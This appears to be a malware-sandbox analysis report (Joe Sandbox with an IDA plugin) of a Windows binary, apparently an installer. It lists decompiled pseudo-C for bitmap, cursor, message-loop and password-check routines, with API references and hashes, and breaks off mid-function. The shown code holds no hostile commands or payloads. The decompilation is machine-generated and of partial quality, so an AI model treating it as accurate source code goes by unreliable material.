                                                          							__eflags = _t154 -  *(_t166 - 0x20);
                                                          							if(_t154 >  *(_t166 - 0x20)) {
                                                          								_t127 = _t125;
                                                          							}
                                                          						} else {
                                                          							__eflags = _t164 - _t154;
                                                          							if(_t164 >= _t154) {
                                                          								_t127 = _t125;
                                                          								 *(_t166 - 0x20) =  *( *((intOrPtr*)(_t166 - 0x10)) + 2 + (_t125 + _t125) * 8) & 0x0000ffff;
                                                          							}
                                                          						}
                                                          						_t125 = _t125 + 1;
                                                          						_t140 = _t140 - 1;
                                                          						__eflags = _t140;
                                                          						if(__eflags != 0) {
                                                          							continue;
                                                          						} else {
                                                          							goto L10;
                                                          						}
                                                          					}
                                                          					_t127 = _t125;
                                                          					goto L10;
                                                          				}
                                                          			}

















                                                          0x0041c07b
                                                          0x0041c07b
                                                          0x0041c080
                                                          0x0041c086
                                                          0x0041c089
                                                          0x0041c0cd
                                                          0x0041c0d0
                                                          0x0041c0d2
                                                          0x0041c0d2
                                                          0x0041c0de
                                                          0x0041c0ec
                                                          0x0041c0fa
                                                          0x0041c114
                                                          0x0041c127
                                                          0x0041c131
                                                          0x0041c140
                                                          0x0041c14f
                                                          0x0041c15f
                                                          0x0041c16e
                                                          0x0041c176
                                                          0x0041c181
                                                          0x0041c186
                                                          0x0041c187
                                                          0x0041c18c
                                                          0x0041c18f
                                                          0x0041c192
                                                          0x0041c198
                                                          0x0041c1a0
                                                          0x0041c1ae
                                                          0x0041c1b7
                                                          0x0041c1c0
                                                          0x0041c1d7
                                                          0x0041c1e5
                                                          0x0041c1ed
                                                          0x0041c1ef
                                                          0x0041c1ef
                                                          0x0041c1f6
                                                          0x0041c1f9
                                                          0x0041c1fc
                                                          0x0041c20c
                                                          0x0041c08b
                                                          0x0041c08b
                                                          0x0041c08c
                                                          0x0041c08e
                                                          0x0041c095
                                                          0x0041c09a
                                                          0x0041c0a0
                                                          0x00000000
                                                          0x00000000
                                                          0x0041c0a6
                                                          0x0041c0a9
                                                          0x0041c0c2
                                                          0x0041c0c5
                                                          0x0041c0c7
                                                          0x0041c0c7
                                                          0x0041c0ab
                                                          0x0041c0ab
                                                          0x0041c0ad
                                                          0x0041c0af
                                                          0x0041c0bd
                                                          0x0041c0bd
                                                          0x0041c0ad
                                                          0x0041c0c9
                                                          0x0041c0ca
                                                          0x0041c0ca
                                                          0x0041c0cb
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0041c0cb
                                                          0x0041c0a2
                                                          0x00000000
                                                          0x0041c0a2

                                                          APIs
                                                          • GetObjectA.GDI32(?,00000018,?), ref: 0041C140
                                                          • GetObjectA.GDI32(?,00000018,?), ref: 0041C14F
                                                          • GetBitmapBits.GDI32(?,?,?), ref: 0041C1A0
                                                          • GetBitmapBits.GDI32(?,?,?), ref: 0041C1AE
                                                          • DeleteObject.GDI32(?), ref: 0041C1B7
                                                          • DeleteObject.GDI32(?), ref: 0041C1C0
                                                          • CreateIcon.USER32(00400000,?,?,?,?,?,?), ref: 0041C1DD
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Object$BitmapBitsDelete$CreateIcon
                                                          • String ID:
                                                          • API String ID: 1030595962-0
                                                          • Opcode ID: d71df9ace4eddb9baf3b419d90bf13da6b4e5c141a6084b6b587c595bafac23f
                                                          • Instruction ID: 02dbd23564bc868c77259816639de4d0103f2e0eef331e1f8476ff1c772e8b14
                                                          • Opcode Fuzzy Hash: d71df9ace4eddb9baf3b419d90bf13da6b4e5c141a6084b6b587c595bafac23f
                                                          • Instruction Fuzzy Hash: 9E510831E00219AFCB10DFE9C8819EEBBF9EF4C314B118566F514E7291D638AD81CB68
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 69%
                                                          			E0041D0F0(void* __eax, void* __ebx, int* __ecx, intOrPtr __edx, void* __edi, void* __esi) {
                                                          				intOrPtr _v8;
                                                          				struct HDC__* _v12;
                                                          				char _v13;
                                                          				char _v14;
                                                          				signed char _t57;
                                                          				char _t58;
                                                          				intOrPtr _t64;
                                                          				struct HDC__* _t72;
                                                          				void* _t74;
                                                          				void* _t81;
                                                          				struct HDC__* _t93;
                                                          				void* _t106;
                                                          				intOrPtr _t122;
                                                          				intOrPtr _t124;
                                                          				intOrPtr _t125;
                                                          				intOrPtr _t127;
                                                          				int* _t129;
                                                          				void* _t131;
                                                          				void* _t132;
                                                          				intOrPtr _t133;
                                                          
                                                          				_t107 = __ecx;
                                                          				_t131 = _t132;
                                                          				_t133 = _t132 + 0xfffffff4;
                                                          				_t129 = __ecx;
                                                          				_v8 = __edx;
                                                          				_t106 = __eax;
                                                          				if(E0041D354(__eax) == 0) {
                                                          					SetStretchBltMode(E0041B2AC(_v8), 3);
                                                          				}
                                                          				if( *((intOrPtr*)(_t106 + 0x14)) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t106 + 0x10)) + 0xc)) == 0) {
                                                          					_push(0x26);
                                                          					_t57 = E0041B2AC(_v8);
                                                          					_push(_t57);
                                                          					L00405D64();
                                                          					if((_t57 & 0x00000020) == 0 ||  *((char*)( *((intOrPtr*)(_t106 + 0x10)) + 0x25)) != 1 ||  *((intOrPtr*)( *((intOrPtr*)(_t106 + 0x10)) + 8)) == 0 || E0040CE54( *((intOrPtr*)( *((intOrPtr*)(_t106 + 0x10)) + 8))) == 0) {
                                                          						goto L9;
                                                          					} else {
                                                          						_t58 = 0;
                                                          					}
                                                          				} else {
                                                          					L9:
                                                          					_t58 = 1;
                                                          				}
                                                          				_v13 = _t58;
                                                          				_t127 =  *((intOrPtr*)(_t106 + 0x10));
                                                          				_t122 =  *0x41d28c; // 0xf
                                                          				E0041B380(_v8, _t107, _t122, _t127);
                                                          				E0041D470(_t106);
                                                          				_v12 = 0;
                                                          				_v14 = 0;
                                                          				_t64 =  *((intOrPtr*)(_t127 + 0x10));
                                                          				if(_t64 != 0) {
                                                          					_push(1);
                                                          					_push(_t64);
                                                          					_t93 =  *(_v8 + 4);
                                                          					_push(_t93);
                                                          					L00405E34();
                                                          					_v12 = _t93;
                                                          					_push( *(_v8 + 4));
                                                          					L00405DF4();
                                                          					_v14 = 1;
                                                          				}
                                                          				_push(_t131);
                                                          				_push(0x41d27d);
                                                          				_push( *[fs:ecx]);
                                                          				 *[fs:ecx] = _t133;
                                                          				if(_v13 == 0) {
                                                          					StretchDIBits( *(_v8 + 4),  *_t129, _t129[1], _t129[2] -  *_t129, _t129[3] - _t129[1], 0, 0,  *(_t127 + 0x14),  *(_t127 + 0x18),  *(_t127 + 0x20),  *(_t127 + 0x1c), 0,  *(_v8 + 0x20));
                                                          				} else {
                                                          					_t74 = E0041D2E8(_t106, 0, _t122);
                                                          					_t125 =  *0x41d28c; // 0xf
                                                          					E0041B380(_t74, 0, _t125, _t127);
                                                          					_t81 = E0041D2E8(_t106, 0, _t125);
                                                          					StretchBlt(E0041B2AC(_v8),  *_t129, _t129[1], _t129[2] -  *_t129, _t129[3] - _t129[1],  *(_t81 + 4), 0, 0,  *(_t127 + 0x14),  *(_t127 + 0x18),  *(_v8 + 0x20));
                                                          				}
                                                          				_pop(_t124);
                                                          				 *[fs:eax] = _t124;
                                                          				_push(0x41d284);
                                                          				if(_v14 != 0) {
                                                          					_push(1);
                                                          					_push(_v12);
                                                          					_t72 =  *(_v8 + 4);
                                                          					_push(_t72);
                                                          					L00405E34();
                                                          					return _t72;
                                                          				}
                                                          				return 0;
                                                          			}























                                                          0x0041d0f0
                                                          0x0041d0f1
                                                          0x0041d0f3
                                                          0x0041d0f9
                                                          0x0041d0fb
                                                          0x0041d0fe
                                                          0x0041d109
                                                          0x0041d116
                                                          0x0041d116
                                                          0x0041d11f
                                                          0x0041d12a
                                                          0x0041d12f
                                                          0x0041d134
                                                          0x0041d135
                                                          0x0041d13d
                                                          0x00000000
                                                          0x0041d160
                                                          0x0041d160
                                                          0x0041d160
                                                          0x0041d164
                                                          0x0041d164
                                                          0x0041d164
                                                          0x0041d164
                                                          0x0041d166
                                                          0x0041d169
                                                          0x0041d16c
                                                          0x0041d175
                                                          0x0041d17c
                                                          0x0041d183
                                                          0x0041d186
                                                          0x0041d18a
                                                          0x0041d18f
                                                          0x0041d191
                                                          0x0041d193
                                                          0x0041d197
                                                          0x0041d19a
                                                          0x0041d19b
                                                          0x0041d1a0
                                                          0x0041d1a9
                                                          0x0041d1aa
                                                          0x0041d1af
                                                          0x0041d1af
                                                          0x0041d1b5
                                                          0x0041d1b6
                                                          0x0041d1bb
                                                          0x0041d1be
                                                          0x0041d1c5
                                                          0x0041d252
                                                          0x0041d1c7
                                                          0x0041d1c9
                                                          0x0041d1ce
                                                          0x0041d1d4
                                                          0x0041d1ee
                                                          0x0041d214
                                                          0x0041d214
                                                          0x0041d259
                                                          0x0041d25c
                                                          0x0041d25f
                                                          0x0041d268
                                                          0x0041d26a
                                                          0x0041d26f
                                                          0x0041d273
                                                          0x0041d276
                                                          0x0041d277
                                                          0x00000000
                                                          0x0041d277
                                                          0x0041d27c

                                                          APIs
                                                          • SetStretchBltMode.GDI32(00000000,00000003), ref: 0041D116
                                                          • 72E5AD70.GDI32(00000000,00000026), ref: 0041D135
                                                          • 72E5B410.GDI32(?,?,00000001,00000000,00000026), ref: 0041D19B
                                                          • 72E5B150.GDI32(?,?,?,00000001,00000000,00000026), ref: 0041D1AA
                                                          • StretchBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,00000000,?,?), ref: 0041D214
                                                          • StretchDIBits.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,?,00000000,?), ref: 0041D252
                                                          • 72E5B410.GDI32(?,?,00000001,0041D284,00000000,00000026), ref: 0041D277
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Stretch$B410$B150BitsMode
                                                          • String ID:
                                                          • API String ID: 1142175050-0
                                                          • Opcode ID: 0912aa83fcdfddc4ca32c9b36316faf0c7bad1d69cf94c64c911b9220a6f9b93
                                                          • Instruction ID: 8ee0e88fe0eb6103f32c4df9f9e286ece57053aa0174f606738c3e696012538d
                                                          • Opcode Fuzzy Hash: 0912aa83fcdfddc4ca32c9b36316faf0c7bad1d69cf94c64c911b9220a6f9b93
                                                          • Instruction Fuzzy Hash: F7512FB0A00604AFDB14DFA9C985F9BB7F8EF08304F148599B559D7292C778ED80CB58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 71%
                                                          			E00454F0C(int __eax, void* __ebx, long __ecx, char __edx, void* __edi, void* __esi, char* _a4) {
                                                          				char _v5;
                                                          				char _v6;
                                                          				char _v12;
                                                          				intOrPtr _v16;
                                                          				struct tagMSG _v44;
                                                          				char _v48;
                                                          				struct HWND__* _t31;
                                                          				intOrPtr _t33;
                                                          				intOrPtr _t42;
                                                          				void* _t46;
                                                          				char _t47;
                                                          				intOrPtr _t51;
                                                          				char* _t61;
                                                          				intOrPtr _t68;
                                                          				intOrPtr _t73;
                                                          				void* _t80;
                                                          				void* _t81;
                                                          				intOrPtr _t82;
                                                          
                                                          				_t80 = _t81;
                                                          				_t82 = _t81 + 0xffffffd4;
                                                          				_push(__ebx);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v48 = 0;
                                                          				_v12 = 0;
                                                          				_t78 = __ecx;
                                                          				_v5 = __edx;
                                                          				_t76 = __eax;
                                                          				_t61 = _a4;
                                                          				_push(_t80);
                                                          				_push(0x455076);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t82;
                                                          				_v6 = 0;
                                                          				 *_t61 = 0;
                                                          				if( *0x48deec == 0) {
                                                          					L10:
                                                          					_pop(_t68);
                                                          					 *[fs:eax] = _t68;
                                                          					_push(0x45507d);
                                                          					E00403548( &_v48);
                                                          					return E00403548( &_v12);
                                                          				} else {
                                                          					 *0x48df00 = 0;
                                                          					_t31 =  *0x48def8; // 0x0
                                                          					if(SendMessageA(_t31, __eax, 0, __ecx) == 0) {
                                                          						goto L10;
                                                          					} else {
                                                          						_v6 = 1;
                                                          						_t33 =  *0x48d628; // 0x21c2410
                                                          						E00424494(_t33,  &_v12);
                                                          						_v16 = E0041F0BC(0, _t61, _t76, _t78);
                                                          						_push(_t80);
                                                          						_push(0x455024);
                                                          						_push( *[fs:eax]);
                                                          						 *[fs:eax] = _t82;
                                                          						E004035DC( &_v48, "[Paused] ");
                                                          						E004036C4( &_v48, _v12);
                                                          						_t42 =  *0x48d628; // 0x21c2410
                                                          						E004244DC(_t42, _v48, _t76);
                                                          						while( *0x48df00 == 0) {
                                                          							_t46 = GetMessageA( &_v44, 0, 0, 0) - 0xffffffff;
                                                          							if(_t46 != 0) {
                                                          								if(_t46 == 1) {
                                                          									PostQuitMessage(_v44.wParam);
                                                          								} else {
                                                          									TranslateMessage( &_v44);
                                                          									DispatchMessageA( &_v44);
                                                          									continue;
                                                          								}
                                                          							}
                                                          							break;
                                                          						}
                                                          						_t47 =  *0x48df01; // 0x0
                                                          						 *_t61 = _t47;
                                                          						_pop(_t73);
                                                          						 *[fs:eax] = _t73;
                                                          						_push(0x45502b);
                                                          						E0041F170(_v16);
                                                          						_t51 =  *0x48d628; // 0x21c2410
                                                          						return E004244DC(_t51, _v12, _t76);
                                                          					}
                                                          				}
                                                          			}





















                                                          0x00454f0d
                                                          0x00454f0f
                                                          0x00454f12
                                                          0x00454f13
                                                          0x00454f14
                                                          0x00454f17
                                                          0x00454f1a
                                                          0x00454f1d
                                                          0x00454f1f
                                                          0x00454f22
                                                          0x00454f24
                                                          0x00454f29
                                                          0x00454f2a
                                                          0x00454f2f
                                                          0x00454f32
                                                          0x00454f35
                                                          0x00454f39
                                                          0x00454f43
                                                          0x00455058
                                                          0x0045505a
                                                          0x0045505d
                                                          0x00455060
                                                          0x00455068
                                                          0x00455075
                                                          0x00454f49
                                                          0x00454f49
                                                          0x00454f58
                                                          0x00454f65
                                                          0x00000000
                                                          0x00454f6b
                                                          0x00454f6b
                                                          0x00454f72
                                                          0x00454f77
                                                          0x00454f83
                                                          0x00454f88
                                                          0x00454f89
                                                          0x00454f8e
                                                          0x00454f91
                                                          0x00454f9c
                                                          0x00454fa7
                                                          0x00454faf
                                                          0x00454fb4
                                                          0x00454ff1
                                                          0x00454fca
                                                          0x00454fcd
                                                          0x00454fd0
                                                          0x00454fd8
                                                          0x00454fd2
                                                          0x00454fe3
                                                          0x00454fec
                                                          0x00000000
                                                          0x00454fec
                                                          0x00454fd0
                                                          0x00000000
                                                          0x00454fcd
                                                          0x00454ffa
                                                          0x00454fff
                                                          0x00455003
                                                          0x00455006
                                                          0x00455009
                                                          0x00455011
                                                          0x00455019
                                                          0x00455023
                                                          0x00455023
                                                          0x00454f65

                                                          APIs
                                                          • SendMessageA.USER32(00000000,?,?), ref: 00454F5E
                                                            • Part of subcall function 00424494: GetWindowTextA.USER32 ref: 004244B4
                                                            • Part of subcall function 0041F0BC: GetCurrentThreadId.KERNEL32 ref: 0041F10B
                                                            • Part of subcall function 0041F0BC: 72E5AC10.USER32(00000000,0041F06C,00000000,00000000,0041F128,?,00000000,0041F15F,?,00000000,00000000,021C2410), ref: 0041F111
                                                            • Part of subcall function 004244DC: SetWindowTextA.USER32(?,00000000), ref: 004244F4
                                                          • GetMessageA.USER32 ref: 00454FC5
                                                          • TranslateMessage.USER32(?), ref: 00454FE3
                                                          • DispatchMessageA.USER32 ref: 00454FEC
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Message$TextWindow$CurrentDispatchSendThreadTranslate
                                                          • String ID: [Paused]
                                                          • API String ID: 3744435275-4230553315
                                                          • Opcode ID: 2bd8903bc6048fca44dcd094e85cb484f427e1ecb3f8174d551b9457d5fbcc55
                                                          • Instruction ID: 981fcd63c65a49ed4d58aa2f174a6deeed895017bf3f82c239f54855c2373808
                                                          • Opcode Fuzzy Hash: 2bd8903bc6048fca44dcd094e85cb484f427e1ecb3f8174d551b9457d5fbcc55
                                                          • Instruction Fuzzy Hash: F1310431904648AECB11EFB9DC41B9E7BF8EB49714F50847BE900E72D2D7389909CB69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 80%
                                                          			E00464444(void* __ebx, void* __ecx, void* __edi, struct HICON__* __esi, void* __eflags, void* __fp0, intOrPtr _a4) {
                                                          				char _v8;
                                                          				char _v12;
                                                          				char _v16;
                                                          				intOrPtr _t40;
                                                          				intOrPtr _t41;
                                                          				intOrPtr _t44;
                                                          				struct HICON__* _t56;
                                                          				intOrPtr _t68;
                                                          				void* _t73;
                                                          				intOrPtr _t81;
                                                          				void* _t91;
                                                          				void* _t101;
                                                          
                                                          				_t101 = __fp0;
                                                          				_t88 = __esi;
                                                          				_t87 = __edi;
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v8 = 0;
                                                          				_push(_t91);
                                                          				_push(0x464583);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t91 + 0xfffffff4;
                                                          				_t73 = 0;
                                                          				E00414D00( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x218)),  &_v8, __eflags);
                                                          				if(( *0x4ae17d & 0x00000020) != 0) {
                                                          					_t73 = E0046EC68(_v8);
                                                          				}
                                                          				if(_t73 == 0) {
                                                          					_t96 =  *0x4ae298;
                                                          					if( *0x4ae298 != 0) {
                                                          						_v16 = _v8;
                                                          						_v12 = 0xb;
                                                          						_t68 =  *0x4ae298; // 0x21edcfc
                                                          						_t73 = E004875E8(_t68,  &_v16, "CheckPassword", _t96, _t101, _t73, 0, 0);
                                                          					}
                                                          				}
                                                          				if(_t73 == 0) {
                                                          					_t40 =  *((intOrPtr*)(_a4 - 4));
                                                          					__eflags =  *((char*)(_t40 + 0x37));
                                                          					if( *((char*)(_t40 + 0x37)) != 0) {
                                                          						_t56 = GetCursor();
                                                          						_t88 = _t56;
                                                          						SetCursor(LoadCursorA(0, 0x7f02));
                                                          						Sleep(0x2ee);
                                                          						SetCursor(_t56);
                                                          					}
                                                          					_t41 =  *0x48dcc4; // 0x21da34c
                                                          					E00473BCC(_t41, _t73, 2, 0, _t87, _t88, 1, 1, 0);
                                                          					_t44 =  *((intOrPtr*)(_a4 - 4));
                                                          					__eflags =  *((char*)(_t44 + 0x37));
                                                          					if( *((char*)(_t44 + 0x37)) != 0) {
                                                          						__eflags = 0;
                                                          						E00414D30( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x218)), _t73, 0, _t87, _t88);
                                                          						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x218)))) + 0x78))();
                                                          					}
                                                          				} else {
                                                          					 *0x4ae254 = 0;
                                                          					if(( *0x4ae181 & 0x00000002) != 0) {
                                                          						E00403598(E0046608C() + 0x138, _t73, _v8, _t87, _t88);
                                                          					}
                                                          					E00414D30( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x218)), _t73, 0, _t87, _t88);
                                                          				}
                                                          				_pop(_t81);
                                                          				 *[fs:eax] = _t81;
                                                          				_push(0x46458a);
                                                          				return E00403548( &_v8);
                                                          			}















                                                          0x00464444
                                                          0x00464444
                                                          0x00464444
                                                          0x0046444b
                                                          0x0046444c
                                                          0x0046444f
                                                          0x00464454
                                                          0x00464455
                                                          0x0046445a
                                                          0x0046445d
                                                          0x00464460
                                                          0x00464471
                                                          0x0046447d
                                                          0x00464487
                                                          0x00464487
                                                          0x0046448b
                                                          0x0046448d
                                                          0x00464494
                                                          0x0046449e
                                                          0x004644a1
                                                          0x004644ad
                                                          0x004644b7
                                                          0x004644b7
                                                          0x00464494
                                                          0x004644bb
                                                          0x004644f7
                                                          0x004644fa
                                                          0x004644fe
                                                          0x00464500
                                                          0x00464505
                                                          0x00464514
                                                          0x0046451e
                                                          0x00464524
                                                          0x00464524
                                                          0x00464533
                                                          0x00464538
                                                          0x00464540
                                                          0x00464543
                                                          0x00464547
                                                          0x00464555
                                                          0x00464557
                                                          0x0046456a
                                                          0x0046456a
                                                          0x004644bd
                                                          0x004644bd
                                                          0x004644cb
                                                          0x004644da
                                                          0x004644da
                                                          0x004644ed
                                                          0x004644ed
                                                          0x0046456f
                                                          0x00464572
                                                          0x00464575
                                                          0x00464582

                                                          APIs
                                                          • GetCursor.USER32(00000000,00464583), ref: 00464500
                                                          • LoadCursorA.USER32 ref: 0046450E
                                                          • SetCursor.USER32(00000000,00000000,00007F02,00000000,00464583), ref: 00464514
                                                          • Sleep.KERNEL32(000002EE,00000000,00000000,00007F02,00000000,00464583), ref: 0046451E
                                                          • SetCursor.USER32(00000000,000002EE,00000000,00000000,00007F02,00000000,00464583), ref: 00464524
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Cursor$LoadSleep
                                                          • String ID: CheckPassword
                                                          • API String ID: 4023313301-1302249611
                                                          • Opcode ID: 3806174211145a2449c7ea79849d8b2a80b913637dca4c07358e7a15a479126e
                                                          • Instruction ID: 97a7be1ee274cf472f17a9b3f77539a65fc718be893302e489d415f7d31673a6
                                                          • Opcode Fuzzy Hash: 3806174211145a2449c7ea79849d8b2a80b913637dca4c07358e7a15a479126e
                                                          • Instruction Fuzzy Hash: 62319330600244AFDB01EB69D88AF9D7BE4AF45314F5584B6B9049B3E2DB78AE40CB59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 49%
                                                          			E0041C360(struct HBITMAP__* __eax, void* __ebx, struct tagBITMAPINFO* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, void* _a8) {
                                                          				char _v5;
                                                          				intOrPtr _v12;
                                                          				struct HDC__* _v16;
                                                          				struct HDC__* _v20;
                                                          				struct HDC__* _t23;
                                                          				intOrPtr _t31;
                                                          				struct HDC__* _t34;
                                                          				struct tagBITMAPINFO* _t37;
                                                          				intOrPtr _t44;
                                                          				void* _t46;
                                                          				struct HBITMAP__* _t48;
                                                          				void* _t51;
                                                          
                                                          				_t37 = __ecx;
                                                          				_t46 = __edx;
                                                          				_t48 = __eax;
                                                          				E0041C260(__eax, _a4, __ecx);
                                                          				_v12 = 0;
                                                          				_v16 = GetFocus();
                                                          				_t23 = _v16;
                                                          				_push(_t23);
                                                          				L00406034();
                                                          				_v20 = _t23;
                                                          				_push(_t51);
                                                          				_push(0x41c40b);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t51 + 0xfffffff0;
                                                          				if(_t46 != 0) {
                                                          					_push(0);
                                                          					_push(_t46);
                                                          					_t34 = _v20;
                                                          					_push(_t34);
                                                          					L00405E34();
                                                          					_v12 = _t34;
                                                          					_push(_v20);
                                                          					L00405DF4();
                                                          				}
                                                          				_v5 = GetDIBits(_v20, _t48, 0, _t37->bmiHeader.biHeight, _a8, _t37, 0) != 0;
                                                          				_pop(_t44);
                                                          				 *[fs:eax] = _t44;
                                                          				_push(0x41c412);
                                                          				if(_v12 != 0) {
                                                          					_push(0);
                                                          					_push(_v12);
                                                          					_push(_v20);
                                                          					L00405E34();
                                                          				}
                                                          				_push(_v20);
                                                          				_t31 = _v16;
                                                          				_push(_t31);
                                                          				L0040621C();
                                                          				return _t31;
                                                          			}















                                                          0x0041c369
                                                          0x0041c36b
                                                          0x0041c36d
                                                          0x0041c376
                                                          0x0041c37d
                                                          0x0041c385
                                                          0x0041c388
                                                          0x0041c38b
                                                          0x0041c38c
                                                          0x0041c391
                                                          0x0041c396
                                                          0x0041c397
                                                          0x0041c39c
                                                          0x0041c39f
                                                          0x0041c3a4
                                                          0x0041c3a6
                                                          0x0041c3a8
                                                          0x0041c3a9
                                                          0x0041c3ac
                                                          0x0041c3ad
                                                          0x0041c3b2
                                                          0x0041c3b8
                                                          0x0041c3b9
                                                          0x0041c3b9
                                                          0x0041c3d7
                                                          0x0041c3dd
                                                          0x0041c3e0
                                                          0x0041c3e3
                                                          0x0041c3ec
                                                          0x0041c3ee
                                                          0x0041c3f3
                                                          0x0041c3f7
                                                          0x0041c3f8
                                                          0x0041c3f8
                                                          0x0041c400
                                                          0x0041c401
                                                          0x0041c404
                                                          0x0041c405
                                                          0x0041c40a

                                                          APIs
                                                            • Part of subcall function 0041C260: GetObjectA.GDI32(?,00000018), ref: 0041C26D
                                                          • GetFocus.USER32 ref: 0041C380
                                                          • 72E5AC50.USER32(?), ref: 0041C38C
                                                          • 72E5B410.GDI32(?,?,00000000,00000000,0041C40B,?,?), ref: 0041C3AD
                                                          • 72E5B150.GDI32(?,?,?,00000000,00000000,0041C40B,?,?), ref: 0041C3B9
                                                          • GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 0041C3D0
                                                          • 72E5B410.GDI32(?,00000000,00000000,0041C412,?,?), ref: 0041C3F8
                                                          • 72E5B380.USER32(?,?,0041C412,?,?), ref: 0041C405
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: B410$B150B380BitsFocusObject
                                                          • String ID:
                                                          • API String ID: 514114485-0
                                                          • Opcode ID: a2f2748db9921a695bd80887cc945c46912036efc7ae4edac7df8ba90896de32
                                                          • Instruction ID: 29b4103d32fe40798502092475d49038862fa98bf49bc602b2c41bf2daac9018
                                                          • Opcode Fuzzy Hash: a2f2748db9921a695bd80887cc945c46912036efc7ae4edac7df8ba90896de32
                                                          • Instruction Fuzzy Hash: FC116D71A44218AFDB10DBE9CC85FAFB7FCEF48700F55846AB514E7281D63899008B68
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 35%
                                                          			E00418E6C(void* __eax) {
                                                          				int _v8;
                                                          				intOrPtr _v12;
                                                          				char _v16;
                                                          				int _t15;
                                                          				intOrPtr _t17;
                                                          				intOrPtr _t21;
                                                          				int _t31;
                                                          				void* _t33;
                                                          				intOrPtr _t41;
                                                          				void* _t43;
                                                          				void* _t45;
                                                          				intOrPtr _t46;
                                                          
                                                          				_t43 = _t45;
                                                          				_t46 = _t45 + 0xfffffff4;
                                                          				_t33 = __eax;
                                                          				if( *((short*)(__eax + 0x46)) == 0xffff) {
                                                          					return __eax;
                                                          				} else {
                                                          					_push(1);
                                                          					_push(1);
                                                          					_push(1);
                                                          					_push(GetSystemMetrics(0xe));
                                                          					_t15 = GetSystemMetrics(0xd);
                                                          					_push(_t15);
                                                          					L00409BBC();
                                                          					_v8 = _t15;
